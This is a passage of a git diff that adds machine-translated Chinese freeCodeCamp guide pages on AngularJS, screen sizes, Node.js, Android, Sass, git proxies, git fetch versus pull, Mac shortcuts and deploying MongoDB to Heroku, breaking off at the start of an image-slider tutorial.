+++ b/client/src/guide/chinese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Information About the Current User in Angularjs
+localeTitle: 获取有关Angularjs中当前用户的信息
+---
+您可能已经注意到，如果您打开**/client/app/admin/admin.controller.js** ，它会调用_Auth_模块，如下所示：
+```
+.controller('AdminCtrl', function ($scope, $http, Auth … 
+```
+
+您可以以相同的方式在其他控制器中包含Auth。在控制器中使用_Auth_可以检测用户是否已登录，或获取有关当前用户的信息，这非常有用。在控制器的主体中，您可以添加
+```
+$scope.getCurrentUser = Auth.getCurrentUser; 
+ $scope.isLoggedIn = Auth.isLoggedIn; 
+```
+
+然后，您可以在控制器的HTML视图中使用_isLoggedIn（）_或_getCurrentUser（）_ ！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/get-screen-size-in-pixels/index.md b/client/src/guide/chinese/miscellaneous/get-screen-size-in-pixels/index.md
new file mode 100644
index 0000000000..e86276bccb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/get-screen-size-in-pixels/index.md
@@ -0,0 +1,41 @@
+---
+title: Get Screen Size in Pixels
+localeTitle: 以像素为单位获取屏幕尺寸
+---
+有时您的JS应用程序需要知道屏幕的大小才能执行某些操作。
+
+幸运的是，我们有内置的JavaScript功能，可以轻松地在用户设备上抓取不同尺寸的屏幕（以像素为单位）。使用什么取决于你想做什么。
+
+## 获得用户的解决方案
+
+您可能希望执行涉及用户设备分辨率的操作。在这种情况下，您应该使用内置的`screen.width`和`screen.height`属性。这些可以为您提供所处理屏幕的大小。 **这不是您必须在页面上使用的区域;这些值代表整个屏幕，即用户的显示分辨率。**
+
+## 获取浏览器大小
+
+可能有一个有趣的应用程序来处理浏览器的当前大小。如果需要访问这些尺寸，请使用`screen.availWidth`和`screen.availHeight`属性来执行此操作。请记住，这些是整个浏览器窗口的维度，从浏览器窗口的顶部到浏览器与任务栏或桌面边缘的位置，具体取决于您的设置。
+
+**一个有趣的注意事项** ： `screen.availHeight`也可用于计算任务栏在计算机上的高度。如果您的浏览器分辨率为`1366 x 768` ，而`screen.availHeight`报告728像素，那么您的任务栏高40像素。您还可以通过减去`screen.height`和`screen.availHeight`来计算任务栏高度：
+```
+var taskbarHeight = parseInt(screen.height,10) - parseInt(screen.availHeight,10) + " pixels"; 
+ /* 
+ For a user that has a screen resolution of 1366 x 768 pixels, their taskbar is likely 40 pixels if using Windows 10 with no added accessibility features. 
+ */ 
+```
+
+## 获取查看窗口大小
+
+这些属性很有趣，可用于创建一些漂亮的效果。您可以使用`window.innerHeight`和`window.innerWidth`来获取用户看到的网页窗口的大小。这些值不是静态的，并且会根据浏览器本身的情况而改变。换句话说，如果浏览器本身很小，这些值会更小，如果浏览器最大化，它们会更大。
+
+例如，如果您在Google Chrome中工作并打开控制台（必须停靠在窗口的一侧）， `window.innerHeight`将更改以反映控制台的高度，因为窗口的一部分将被阻止。您可以通过调用`window.innerHeight`来测试它，记下该值，然后增加控制台的大小，并再次调用`window.innerHeight` 。
+
+如果您的浏览器以任何方式最大化或调整大小，这些属性也会更改。在浏览器的最大大小，属性`window.innerWidth`与`screen.width`和`screen.availWidth`相同（除非侧面有任务栏，在这种情况下`screen.availWidth`将不相等）。 `window.innerHeight`等于页面本身窗口中的区域数量（网页区域）。
+
+## 获取网页的高度和宽度
+
+如果您需要查看网页的实际高度或宽度，可以使用属性来获取这些维度： `document.body.offsetWidth`和`document.body.offsetHeight` 。这些属性表示页面本身内容的大小。没有内容的页面的`document.body.offsetHeight`接近与`window.innerHeight`相同的值，具体取决于在文档正文上设置的边距/填充。如果在html根元素和文档正文上将边距和填充设置为`0` ，则`document.body.offsetHeight`和`window.innerHeight`将等于没有内容。
+
+这些属性可用于与您的页面/应用程序交互，具体取决于您要执行的操作。
+
+## 结论
+
+使用哪种财产完全取决于您的目标。阅读他们每个人的工作，并自己决定您需要为项目使用哪些属性。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/get-started-with-nodejs/index.md b/client/src/guide/chinese/miscellaneous/get-started-with-nodejs/index.md
new file mode 100644
index 0000000000..318db3d3db
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/get-started-with-nodejs/index.md
@@ -0,0 +1,43 @@
+---
+title: Get Started with Nodejs
+localeTitle: 开始使用Nodejs
+---
+[Node.js](https://nodejs.org/)是一个基于[Chrome的V8 JavaScript引擎](https://developers.google.com/v8/ "Chrome的V8引擎")构建的JavaScript运行时，可以将JavaScript用于服务器端编程。
+
+Node.js已成为“JavaScript Everywhere”的关键部分，鼓励Web应用程序开发围绕单一编程语言统一，而不是依赖于不同的语言来编写服务器端脚本。
+
+### 教程：
+
+*   [NodeSchool.io互动课程](http://nodeschool.io/)
+*   [节点的艺术（节点介绍）](https://github.com/maxogden/art-of-node/#the-art-of-node)
+*   [Node.js指南](http://nodeguide.com/)
+*   [使用Node.js，express和MongoDB构建博客](http://howtonode.org/express-mongodb)
+
+## 图书
+
+*   [节点初学者书](http://nodebeginner.org/)
+*   [掌握Node.js](https://github.com/visionmedia/masteringnode)
+*   [使用Node.js启动并运行](http://chimera.labs.oreilly.com/books/1234000001808/index.html)
+*   [节点Web开发](https://www.packtpub.com/web-development/node-web-development)
+
+## 课程
+
+*   [使用Node.js的实时Web](http://node.codeschool.com/)
+*   [来自DevelopMentor的Essential Node.js](http://www.globalknowledge.co.uk/courses/it-subjects/application-development/)
+*   [使用MEAN Stack介绍MongoDB](https://www.edx.org/course/introduction-mongodb-using-mean-stack-mongodbx-m101x-0)
+*   [完整的Node.js开发人员课程（第2版）](https://www.udemy.com/the-complete-nodejs-developer-course-2/)
+
+## 博客
+
+*   [Node.js博客](http://blog.nodejs.org/)
+*   [如何节点](http://howtonode.org/)
+*   [DailyJS](http://dailyjs.com/)
+*   [Nodejitsu博客](http://blog.nodejitsu.com/)
+*   [js-deflate](https://github.com/dankogai/js-deflate)用于gzipping数据以使其适合URL
+*   [Ryan Wilcox的白皮书](http://www.wilcoxd.com/whitepapers/node_js/)
+*   [devthought](http://www.devthought.com/)
+
+### 更多信息：
+
+*   [Stackoverflow.com：我如何开始使用Node.js？](https://stackoverflow.com/questions/2353818/how-do-i-get-started-with-node-js)
+*   [Node.js官方网站：安装后如何从Node.js开始？](https://nodejs.org/en/docs/guides/getting-started-guide/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/getting-a-coding-job/index.md b/client/src/guide/chinese/miscellaneous/getting-a-coding-job/index.md
new file mode 100644
index 0000000000..fa3eb3b53c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/getting-a-coding-job/index.md
@@ -0,0 +1,26 @@
+---
+title: Getting a Coding Job
+localeTitle: 获得编码工作
+---
+免费代码营将帮助您准备编码工作。
+
+![乔布斯图表](https://www.evernote.com/shard/s116/sh/55c128c7-5d99-41cc-b03d-b3de22611c8d/b43e467b3889f646fec34bb4c161e2a2/deep/0/What)
+
+## 以下是事实：
+
+*   有数十万个未填写的编码工作。
+*   雇主和美国政府联合起来推广非常规编码程序，如Free Code Camp。
+*   全栈JavaScript和Swift是最好的两种技能组合，并且有大量的职位空缺。
+*   您是一名可雇用的开发人员的最佳证据就是充满了真人所使用的真实应用程序的投资组合。
+
+你仍然需要培养基本的面试技巧和软技能（如果你已经从事知识工作者类型的工作几年，你可能已经有了这些）。
+
+[Hackerrank](https://www.hackerrank.com/domains/tutorials/cracking-the-coding-interview)是提高编码技能的绝佳资源
+
+您还需要努力与您所在城市的编码人员建立联系。您可以加入[您所在城市的本地小组](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/LocalGroups-List)并参与尽可能多的活动。
+
+我发现[这个](https://github.com/cassidoo/getting-a-gig)链接很有用。它在解释过程方面做得很好。
+
+## 专家提示：
+
+与任何其他行业或领域一样，最难的部分实际上是开始。不要太担心并采取行动 - 结果将令人着迷。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/getting-started-with-android-development/index.md b/client/src/guide/chinese/miscellaneous/getting-started-with-android-development/index.md
new file mode 100644
index 0000000000..468fef8495
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/getting-started-with-android-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Getting Started with Android Development
+localeTitle: Android开发入门
+---
+如今， [Android](https://www.android.com/)已成为各种设备中使用的领先操作系统，如手机，平板电脑，手表，电视，汽车等等。它为全球超过10亿台设备供电。它基于Linux内核。自2013年以来，Android一直是平板电脑上最畅销的操作系统，而在智能手机上，它是任何指标的主导。
+
+## 先决条件
+
+要开始使用Android开发，您应该已经了解了一些事情：
+
+*   [Java](https://java.com/en/) ：Android开发大多是用Java完成的。这不是一门难学的语言，但如果没有坚实的语言基础，了解它如何应用于Android开发可能会让人感到困惑。 Android Java并不完全是标准Java，但学习标准Java将使您更容易获得Android开发。对于Java中可能有用的特定主题，您可以参考[此](http://www.bigknol.com/2016/01/10-prerequisites-for-learning-android.html)链接。
+*   [XML](http://www.w3schools.com/xml/) ：了解XML在许多技术相关领域都很有用，Android也不例外。特别是，XML文件可以更容易地在您创建的应用程序中声明UI元素。过去的经验是一大优点。
+*   坚持不懈：最后，了解Android开发工具包的细节需要时间。学习如何创建高质量的应用程序将花费更多的时间。别急。坚持下去，长期关注你的思想。如果你不这样做，你会感到沮丧并且想要放弃。
+
+## 工具
+
+首先，确保您拥有系统中的所有工具。 **请注意，继续学习Android开发所需的软件包需要下载超过1 GB的大小，安装大约需要2到3个小时。**开始构建Android应用程序所需的东西是：
+
+*   [最新版本的Java JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) ： [以下](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java-Introduction)是在您的计算机上安装Java的指南。
+*   [Android Studio](http://developer.android.com/sdk/index.html) ： [这](http://developer.android.com/sdk/installing/index.html)是安装Android studio的官方指南。
+*   如果可能的话，Android设备。如果不这样做，也可以，因为您可以运行[模拟器](http://developer.android.com/tools/devices/emulator.html)在计算机上运行Android虚拟设备。
+
+## Kotlin语言支持
+
+从Android Studio 3.0开始，Kotlin的工具支持直接捆绑到Android Studio中。 **Kotlin**是一种静态类型的编程语言，可以在Java虚拟机上运行，​​也可以编译为JavaScript源代码。 Kotlin旨在与Java代码进行互操作，并依赖于现有Java类库中的Java代码，例如集合框架。 **Kotlin**旨在成为一种工业级的面向对象语言，是一种比Java更好的语言，但仍然可以与Java代码完全互操作，允许公司逐步从Java迁移到Kotlin。
+
+Android开发中Kotlin使用的一些好处：
+
+*   Kotlin需要更少的代码来编写。
+*   Kotlin减少了压力。
+*   Kotlin是一种类型安全语言。
+*   Kotlin为您节省了宝贵的时间。
+
+## 教程
+
+学习Android开发的一些基础课程和教程：
+
+*   [官方Android开发人员指南](http://developer.android.com/training/index.html) ：对于初学者，此网站有一个全面的培训部分，从设置您的环境到构建您的第一个Android应用程序一直到分发最终应用程序并在Play商店赚钱。对于高级用户，API指南和参考资料将始终帮助您找到最有效的应用程序开发问题解决方案。本指南还包含开发人员对高级开发主题所需的特定视频课程的链接。
+*   [CodePath Android Cliffnotes](https://guides.codepath.com/android)
+*   [TutorialsPoint](http://www.tutorialspoint.com/android/)
+*   [Vogella](http://www.vogella.com/tutorials/android.html)
+
+## 资源
+
+以下是Android开发库的一些有用链接：
+
+*   Wasabeef推出的[令人敬畏的Android UI](https://github.com/wasabeef/awesome-android-ui)列表
+*   由SnowDream提供的[Awesome Android Libraries](https://github.com/snowdream/awesome-android)列表
+*   Wasabeef推出的[令人敬畏的Android库](https://github.com/wasabeef/awesome-android-libraries)列表
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/getting-started-with-back-end-projects/index.md b/client/src/guide/chinese/miscellaneous/getting-started-with-back-end-projects/index.md
new file mode 100644
index 0000000000..b2167cdb89
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/getting-started-with-back-end-projects/index.md
@@ -0,0 +1,41 @@
+---
+title: Getting Started with Back End Projects
+localeTitle: 后端项目入门
+---
+第一个后端项目的课程开发不是很全面。以下是其他露营者发现的一些常见资源。
+
+*   Yeoman简介 - Yeoman Angular Fullstack设置的许多有用提示和技巧
+*   [角度生成器](https://github.com/DaftMonk/generator-angular-fullstack#generators) - Yeoman使用的[生成](https://github.com/DaftMonk/generator-angular-fullstack#generators)器，您可以找到语法及其创建的文件
+
+## 蜜蜂
+
+*   绘制股票市场的API： [https](https://www.quandl.com/help/api) ： [//www.quandl.com/help/api](https://www.quandl.com/help/api)
+
+## MEAN Stack教程和视频
+
+*   5部分系列关于设置MEAN堆栈  
+    [https://www.youtube.com/watch?v=kHV7gOHvNdk](https://www.youtube.com/watch?v=kHV7gOHvNdk)
+*   一个MEAN教程，创建一个简单的Twitter克隆  
+    [https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start](https://channel9.msdn.com/Series/MEAN-Stack-Jump-Start)
+*   Clementine是一个精简的MEAN堆栈，非常适合学习基础知识。  
+    [https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html](https://johnstonbl01.github.io/clementinejs/tutorials/tutorial-beginner.html)
+*   使用Passport进行MEAN堆栈身份验证：  
+    [https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs](https://vickev.com/#!/article/authentication-in-single-page-applications-node-js-passportjs-angularjs)
+*   用于学习MEAN堆栈的惊人资源列表：  
+    [https://github.com/ericdouglas/MEAN-Learning](https://github.com/ericdouglas/MEAN-Learning)
+
+## Scotch IO教程
+
+*   [https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application](https://scotch.io/tutorials/setting-up-a-mean-stack-single-page-application)
+*   [https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure](https://scotch.io/tutorials/node-and-angular-to-do-app-application-organization-and-structure)
+
+## 节点/快递
+
+*   [Node.js / Express的在线调试](http://stackoverflow.com/a/16512303/1420506)
+
+## Cloud 9技巧
+
+### 加快浏览器重新加载速度
+
+1.  打开gruntfile.js并编辑livereload的两个实例`livereload: true`到`livereload: false` 。
+2.  打开server / config / express.js并注释掉`app.use(require('connect-livereload')());`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/getting-started-with-sass/index.md b/client/src/guide/chinese/miscellaneous/getting-started-with-sass/index.md
new file mode 100644
index 0000000000..f6434f9211
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/getting-started-with-sass/index.md
@@ -0,0 +1,100 @@
+---
+title: Getting Started with Sass
+localeTitle: Sass入门
+---
+### 介绍
+
+Sass代表“Syntactically Awesome Stylesheets”，是一款CSS预处理器。预处理器将以特定语言编写的代码编译为机器可读（浏览器可读）的“产品”代码。基本上，Sass将代码编译为我们的浏览器可以解释的常规CSS！ _为什么CSS已存在时在Sass中编写代码？_简短的回答是Sass在其语法中内置了更强大的功能，允许开发人员编写DRY-er，可扩展且更易于维护的前端代码。
+
+如果您熟悉CSS，那么学习Sass对您来说会更容易一些。如果没有，在他们的前端开发认证课程中开始学习Free Code Camp的HTML5和CSS部分的一些CSS基础知识，以及看看[MDN的CSS文章](https://developer.mozilla.org/en-US/docs/Web/CSS)可能是理想[的](https://developer.mozilla.org/en-US/docs/Web/CSS) 。
+
+在本文的第1部分中，我将解释如何在您的计算机上安装Sass以及如何将Sass编写的代码编译为CSS。
+
+## 安装
+
+将Sass安装到您的计算机上的最简单方法是通过命令行。 Sass是一个Ruby gem，需要以下命令：
+
+对于Mac和PC：
+
+`sudo gem install sass`
+
+对于Linux，您需要先安装Ruby语言，然后：
+
+`sudo su -c "gem install sass"`
+
+您现在应该能够检查已安装的Sass版本：
+
+`sass -v`
+
+它应该返回类似于：
+
+`Sass 3.4.21 (Selective Steve)`
+
+如果是这样，恭喜你，你刚刚安装了Sass！现在使用Sass。
+
+## 基本用法和语法
+
+让我们从一个非常简单的例子开始，来说明Sass实际上是如何工作的。您可以按照步骤进行操作，也可以直接阅读。
+
+_进口旁注：Sass可以用两种略有不同的风格书写，每种风格都有其自身的优点。一种风格将使用文件扩展名_ `.sass` _和其他将使用_ `.scss` 。 _稍后将简要解释两种风格的差异。有关深入解释，请查看John W. Long的_ [Sass vs. SCSS文章](http://thesassway.com/editorial/sass-vs-scss-which-syntax-is-better) 。
+
+_为了保持一致性，本文将提供`.scss`格式的代码示例，但这两种样式同样受欢迎。_
+
+好吧，让我们开始吧。我们将创建一个新文件夹来存放我们的示例文件（您可以在计算机上的任何位置执行此操作，并可以使用命令行或手动执行此操作）。
+
+在该文件夹中，我们将创建一个名为`style.scss`的文件和一个名为`index.html`样式的HTML文件：
+
+_上图中的`tree`命令来自您可以安装的npm包，并且不是命令行的本机。 `ls`命令基本上做同样的`ls` 。_
+
+现在我们已经设置了项目文件夹，我们可以使用Sass watch命令“密切关注”我们的Sass文件，并在检测到文件更改时编译代码。我们在要查看的文件上输入watch命令：
+
+`sass --watch style.scss`
+
+下一步是在您选择的文本编辑器中打开项目文件夹。一旦我们打开文件并准备好进行编辑，我们就可以添加一个非常基本的HTML页面（对我们来说样式），如下所示：
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>Sass!</title> 
+  <link rel="stylesheet" href="style.css"> 
+ </head> 
+ <body> 
+  <article> 
+    <h1>Hello World</h1> 
+    <p class="cat-paragraph-1">Cat ipsum dolor sit amet, stand in front of the computer screen, so chase imaginary bugs has closed eyes but still sees you caticus cuteicus.</p> 
+    <p class="cat-paragraph-2">Drink water out of the faucet chew on cable or if it fits, i sits roll on the floor purring your whiskers off.</p> 
+  </article> 
+ </body> 
+ </html> 
+```
+
+设置完HTML后，我们可以打开我们的`style.scss`文件并在Sass中开始样式化。在下面的示例代码中，您可能会注意到某些样式选择器是如何嵌套在文章选择器中的; Sass独有的东西。不要担心，语法将在第2部分中解释。现在我们只想了解Sass如何以最简单的形式工作。
+```
+article { 
+  h2 { 
+    font-family: Arial; 
+    color: blue; 
+  } 
+  .cat-paragraph-1 { 
+    color: red; 
+  } 
+  .cat-paragraph-2 { 
+    color: green; 
+  } 
+ } 
+```
+
+一旦键入该代码并将其保存到`style.scss`文件中，我们打入命令行的监视任务将检测到文件中的更改，将我们的Sass编译为CSS，并输出一个名为`style.css`的新文件。您可能还会在项目文件夹中看到一个名为`style.css.map`文件，该文件也神奇地出现了。这个文件叫做源图，在调试Sass时很有用，但是现在我们就把它留下来了。
+
+下面我们可以看到项目文件夹中列出的文件。
+
+现在，如果我们在Web浏览器中打开`index.html` ，我们可以看到我们的HTML页面使用CSS格式化，这是从示例Sass代码编译而来的。同样，我们可以打开`style.css`文件来查看Sass如何输出原始的Sass代码。紧凑，不是吗？
+
+## 然后去哪儿？
+
+_大！现在我知道如何在我的计算机上编译Sass。是吗？_
+
+不是由一个长镜头。这是Sass工作原理的一个简单例子，因此在Sass中编写优于vanilla CSS的好处可能并不明显。我们编写了12行“Sass”，结果得到7行CSS。不完全是任何标准的主要差异。在第2部分中，我们将解释Sass语法背后的**魔力** ，例如变量和mixins，以及这些工具的使用如何在样式化时为我们提供超级大国。
+
+如果你仍然坚持Sass如何神奇地编译成CSS或者你想要更多的示例代码， [Sassmeister](http://www.sassmeister.com/)是一个很棒的在线界面，它允许你用Sass语法编写并立即看到你的代码编译成CSS而没有必须在您的计算机上安装任何东西或进行任何设置。这是沙盒和尝试Sass代码的非常有用的资源。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/git-behind-a-proxy-server/index.md b/client/src/guide/chinese/miscellaneous/git-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..99c61e37ec
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/git-behind-a-proxy-server/index.md
@@ -0,0 +1,40 @@
+---
+title: Git Behind a Proxy Server
+localeTitle: 代理服务器背后的Git
+---
+**用例**
+
+如果您的Internet访问是通过[代理服务器，](https://en.wikipedia.org/wiki/Proxy_server)则可能需要修改访问（更新和读取）远程存储库的`git`命令。
+
+代理服务器在大学和商业类型环境中很常见。
+
+您可以从浏览器的设置面板中[找到代理设置](http://www.wikihow.com/Change-Proxy-Settings) 。
+
+## 使用Git代理
+
+获得代理设置（服务器URL，端口，用户名和密码）后;你需要配置你的git如下：
+```
+$ git config --global http.proxy http://<username>:<password>@<proxy-server-url>:<port> 
+```
+
+您需要将`<username>` ， `<password>` ， `<proxy-server-url>` ， `<port>`替换为特定于代理服务器凭据的值。这些字段是可选的。例如，您的代理服务器可能甚至不需要`<username>`和`<password>` ，或者它可能在端口80上运行（在这种情况下，不需要`<port>` ）。
+
+一旦你设置了这些，你的`git pull` ， `git push`甚至`git fetch`都可以正常工作。
+
+## 何时不使用
+
+如果发生以下任何一种情况，您不必将`git`命令与代理设置一起使用
+
+*   您的系统管理员或公司策略不允许您从GitHub，BitBucket等访问远程`git`存储库。
+*   有问题的远程存储库不在您的计算机中，但它位于内部网络中。在贵公司内部部署的GitLab实例就是一个很好的例子。
+
+## 取消设置代理设置
+
+使用[此](http://stackoverflow.com/questions/11499805/git-http-proxy-setting) Stack Overflow讨论取消设置代理设置。
+
+## 资源
+
+您可以使用以下内容进一步阅读：
+
+*   [我可以在代理服务器后面登录吗？](https://help.github.com/desktop/faq/articles/can-i-log-in-behind-a-proxy-server/#platform-windows)
+*   [Git Config](https://git-scm.com/docs/git-config)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/git-pull-vs-git-fetch/index.md b/client/src/guide/chinese/miscellaneous/git-pull-vs-git-fetch/index.md
new file mode 100644
index 0000000000..187d9abdff
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/git-pull-vs-git-fetch/index.md
@@ -0,0 +1,21 @@
+---
+title: Git Pull Vs Git Fetch
+localeTitle: Git Pull和Git Fetch
+---
+git用户经常使用这两个命令。让我们看看两个命令之间的区别。
+
+为了上下文，值得记住我们​​可能正在克隆回购中工作。什么是克隆？只是另一个存储库的副本。它基本上是你自己的别人的源代码副本。
+
+也就是说，为了让您的克隆更新可能已经应用于原始的任何更改，您需要将它们带到您的克隆。这就是`fetch`和`pull`进来的地方`git fetch`是告诉你的本地git从原始文件中检索最新的元数据信息的命令（但是没有进行任何文件传输。更像是检查是否有任何文件传输。可用的变化）。另一方面， `git pull`会从远程存储库中带来（复制）这些更改。
+
+例如
+```
+git pull origin ankur bugfix 
+```
+
+需要注意的是，工作站上通常至少有三个项目副本。一个副本是您自己的存储库，其中包含您自己的提交历史记录（已保存的历史记录，可以这么说）。第二个副本是您正在编辑和构建的工作副本（尚未提交到您的仓库）。第三个副本是远程存储库的本地“缓存”副本（可能是您克隆自己的原始副本）。您可以使用`git fetch`来了解自上次拉动以来远程repo / branch中所做的更改。这有助于在进行实际拉取之前进行检查，这可能会更改当前分支和工作副本中的文件（并且可能会丢失您的更改等）。
+```
+git fetch 
+ git diff ...origin 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/global-control-shortcuts-for-mac/index.md b/client/src/guide/chinese/miscellaneous/global-control-shortcuts-for-mac/index.md
new file mode 100644
index 0000000000..89eb7e46f3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/global-control-shortcuts-for-mac/index.md
@@ -0,0 +1,19 @@
+---
+title: Global Control Shortcuts for Mac
+localeTitle: 适用于Mac的全局控制快捷方式
+---
+这些Mac全局控制快捷方式可以加快您的输入速度，从而节省您的时间。
+
+[https://player.vimeo.com/video/107073108](https://player.vimeo.com/video/107073108)
+
+这些全局快捷方式在Mac上无处不在：
+
+*   控制+ F =前进
+*   控制+ B =向后
+*   控制+ N =下一行
+*   Control + P =上一行
+*   Control + H = Backspace
+*   Control + D =删除
+*   控制+ A =线的起点
+*   Control + E =行尾
+*   控制+ K =杀死线
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md b/client/src/guide/chinese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
new file mode 100644
index 0000000000..ae1fc8f85e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
@@ -0,0 +1,118 @@
+---
+title: Guide for Using MongoDB and Deploying to Heroku
+localeTitle: 使用MongoDB和部署到Heroku的指南
+---
+在本指南中，让我们看看如何在本地使用MongoDB，并使用`mLab`将其部署到Heroku。或者您也可以在Heroku中使用`mLab`插件，它是免费的，但可能需要您的信用卡详细信息。因此，如果您对提供信用卡详细信息不感兴趣，可以访问[mLab](https://mlab.com)网站。
+
+## 在Heroku和`mLab`上设置一个免费帐户：
+
+注册[Heroku](https://signup.heroku.com/)和[mLab](https://mlab.com/signup/)
+
+## 启动Mongodb（本地）：
+
+要在您自己的系统上启动数据库，请执行以下命令：
+```
+# Create a directory named 'data' if it doesn't exist 
+ $ mongod --port 27017 --dbpath=./data 
+```
+
+现在你的Db正在运行 -
+
+`mongodb://localhost:27017/my_database_name`
+
+如果您使用的是c9，如果在C9中启动数据库时遇到问题，请参阅此[页面](https://community.c9.io/t/setting-up-mongodb/1717)
+
+## 启动Mongodb（ `mLab` ）：
+
+1.  创建`mLab`帐户后，单击**Create new**按钮并选择Single-node - > Sandbox以获取免费Db并为您的数据库命名（我为此创建了一个名为'food'的数据库）。
+2.  现在创建一个名为'food'的数据库，您可以创建自己的新集合。
+3.  最后添加可以访问此数据库的用户/用户，在添加用户时，它将询问用于访问数据库的用户名和密码。
+
+现在你的数据库正在运行url这样的东西 -
+
+`mongodb://username:password@ds01316.mlab.com:1316/food`
+
+其中，用户名和密码是您添加用户时提供的详细信息。
+
+您可以在[https://mlab.com/databases/your _数据库_名称中](https://mlab.com/databases/your_database_name)找到您的数据库URL
+
+## 在Node.js中与MongoDB建立连接（当DB在本地系统上运行时）：
+
+要使用数据库，首先需要创建连接。在本节中，我们将使用MongoDB的本机Node.js驱动程序来创建与MongoDB服务器的连接。要安装mongodb本机驱动程序，请使用npm命令安装mongodb模块。之后，在项目目录中运行以下命令。
+
+`npm install mongodb`
+
+连接MongoDB的基本代码
+```
+//lets require/import the mongodb native drivers. 
+ var mongodb = require('mongodb'); 
+ 
+ //We need to work with "MongoClient" interface in order to connect to a mongodb server. 
+ var MongoClient = mongodb.MongoClient; 
+ 
+ // Connection URL. This is where your mongodb server is running. 
+ 
+ //(Focus on This Variable) 
+ var url = 'mongodb://localhost:27017/my_database_name'; 
+ //(Focus on This Variable) 
+ 
+ // Use connect method to connect to the Server 
+  MongoClient.connect(url, function (err, db) { 
+  if (err) { 
+    console.log('Unable to connect to the mongoDB server. Error:', err); 
+  } else { 
+    console.log('Connection established to', url); 
+ 
+    // do some work here with the database. 
+ 
+    //Close connection 
+    db.close(); 
+  } 
+ }); 
+```
+
+有关使用MongoDB的更多示例，您可以参考此[博客](http://blog.modulus.io/mongodb-tutorial)
+
+我们需要知道我们的mongodb服务器在哪里运行。 url表示运行mongodb服务器实例的位置，以便我们可以连接到它。 url包含我们要连接的数据库名称。
+
+假设您的数据库正在上面提到的url上运行，现在让我们关注连接数据库的Url（本地）
+
+`var url = 'mongodb://localhost:27017/my_database_name';`
+
+### 在Node.js中与MongoDB建立连接（当DB在您的`mLab`运行时）：
+
+连接到`mLab` DB的URL如下所示
+
+`var url = 'mongodb://username:password@ds01316.mlab.com:1316/food';`
+
+您可以用这个替换url变量，一切都将按照应有的方式工作，最后您的数据库在`mLab`安全可靠，您可以在其中查看您的收藏，用户，备份等。
+
+### 重要的提示：
+
+但是将您的用户名和密码提交到您的公共存储库有时非常危险，所以永远不要将它们提交到公共存储库，而是可以使用环境变量来存储URL（包含用户名和密码），以便在**本地**系统中执行此操作
+
+对于Mac / Linux用户，您只需键入：
+
+`export MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+对于Windows用户：
+
+`SET MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+设置环境变量后，需要将环境变量调用到代码中。你可以输入这个来做
+
+`var url = process.env.MONGOLAB_URI;`
+
+现在，您的MongoDb网址会安全地插入到您的代码中。您现在可以提交它并将其部署到您的heroku。
+
+如果您需要更多帮助如何部署到Heroku，您可以参考这个[Wiki](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Heroku-Deployment-Guide)
+
+## 最后的步骤：
+
+将代码部署到Heroku应用程序后，需要在heroku中为代码设置环境变量。
+
+为此，您需要从heroku远程运行以下命令，
+
+`heroku config:set MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+多数民众赞成，您的应用程序现已成功部署在带有`mLab` DB的heroku中
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md b/client/src/guide/chinese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
new file mode 100644
index 0000000000..8739993c54
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
@@ -0,0 +1,203 @@
+---
+title: Guide to Build a Sliding Image Gallery
+localeTitle: 构建滑动图像库的指南
+---
+本教程将引导您使用[jQuery](https://jquery.com/)库构建图像滑块。
+
+[![GIF显示Slider在行动](//discourse-user-assets.s3.amazonaws.com/original/2X/0/08d83a22c28da836a06853b1f1ea669b398326b9.gif)](https://codepen.io/atjonathan/pen/BKMxxq)
+
+本教程将包含四个部分：
+
+*   [HTML](#html)
+*   [SCSS](#scss)
+*   [JS](#js)
+*   [参考](#references)
+
+## HTML
+
+我们将在本教程中使用[Bootstrap](http://getbootstrap.com/)来保持良好的外观，而无需花费大量时间。
+
+我们的结构如下：
+```
+<div class="container"> 
+ 
+  <!-- The wrapper for our slider --> 
+  <div class="slider"> 
+    <ul class="slides"><!-- Each image will be inside this unordered list --></ul> 
